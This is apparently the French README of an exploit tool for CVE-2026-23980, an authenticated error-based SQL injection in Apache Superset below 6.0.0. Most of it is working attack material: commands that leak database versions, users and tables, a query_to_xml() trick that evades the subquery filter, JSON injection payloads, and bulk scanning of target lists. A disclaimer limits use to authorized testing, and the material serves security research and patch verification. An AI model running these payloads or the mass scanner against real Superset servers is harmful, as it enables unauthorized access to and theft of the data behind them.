
Exploit pour CVE-2026-23980 — Injection SQL basée sur les erreurs, authentifiée, dans Apache Superset < 6.0.0 via le contournement de sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression va directement dans la requête. aucune paramétrisation. aucun espoir.
Apache Superset < 6.0.0 permet aux utilisateurs authentifiés disposant d'un accès en lecture d'effectuer une injection SQL basée sur les erreurs via les paramètres sqlExpression ou where dans le point de terminaison /api/v1/chart/data.
Le filtre validate_adhoc_subquery() est contourné à l'aide des fonctions XML de PostgreSQL (query_to_xml, etc.) qui exécutent du SQL en tant qu'arguments de fonction, invisibles pour l'analyseur lexical sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> colonne adhoc sqlExpression / extras.where injectés
-> validate_adhoc_subquery() CONTOURNÉ via query_to_xml()
-> SQL brut atteint PostgreSQL
-> CAST((...) AS INT) l'erreur divulgue les données dans la réponse
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Version de la base de données
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Utilisateurs de la base de données
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Lister les tables
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Utilisateur courant
python3 exploit.py ... --sql "SELECT current_user"
Lorsque validate_adhoc_subquery() bloque votre requête (détection de FROM/JOIN) :
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Cela encapsule la requête dans query_to_xml() qui masque la clause FROM à l'analyseur lexical.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (par défaut) - injecté dans une définition de colonne :
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - injecté dans la clause extras.where :
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
L'exploit utilise le transtypage de type de PostgreSQL pour divulguer des données :
CAST((SELECT version()) AS INT)
PostgreSQL ne peut pas convertir une chaîne en entier, il génère donc :
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
La valeur divulguée est extraite du message d'erreur dans la réponse de l'API.
La fonction has_table_query() de Superset recherche FROM/JOIN pour détecter les sous-requêtes. La fonction query_to_xml() de PostgreSQL exécute du SQL mais le masque en tant qu'argument de fonction :
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
L'analyseur lexical voit un appel de fonction, pas une clause FROM, contournant ainsi le filtre.
Cet outil est destiné uniquement à la recherche en sécurité autorisée. Utilisez-le uniquement contre des systèmes pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.
| Version | Statut |
|---|
| < 4.0.2 | Vulnérable (aucune liste noire de fonctions XML) |
| 4.0.2 | Correctif partiel (CVE-2024-39887 - ajout de certaines fonctions XML à la liste noire) |
| 4.1.0 | Liste noire étendue (plus de fonctions XML) |
| 4.1.2 | Contournement de la sécurité au niveau des lignes corrigé (CVE-2025-48912) |
| 6.0.0 | Correctif complet pour CVE-2026-23980 |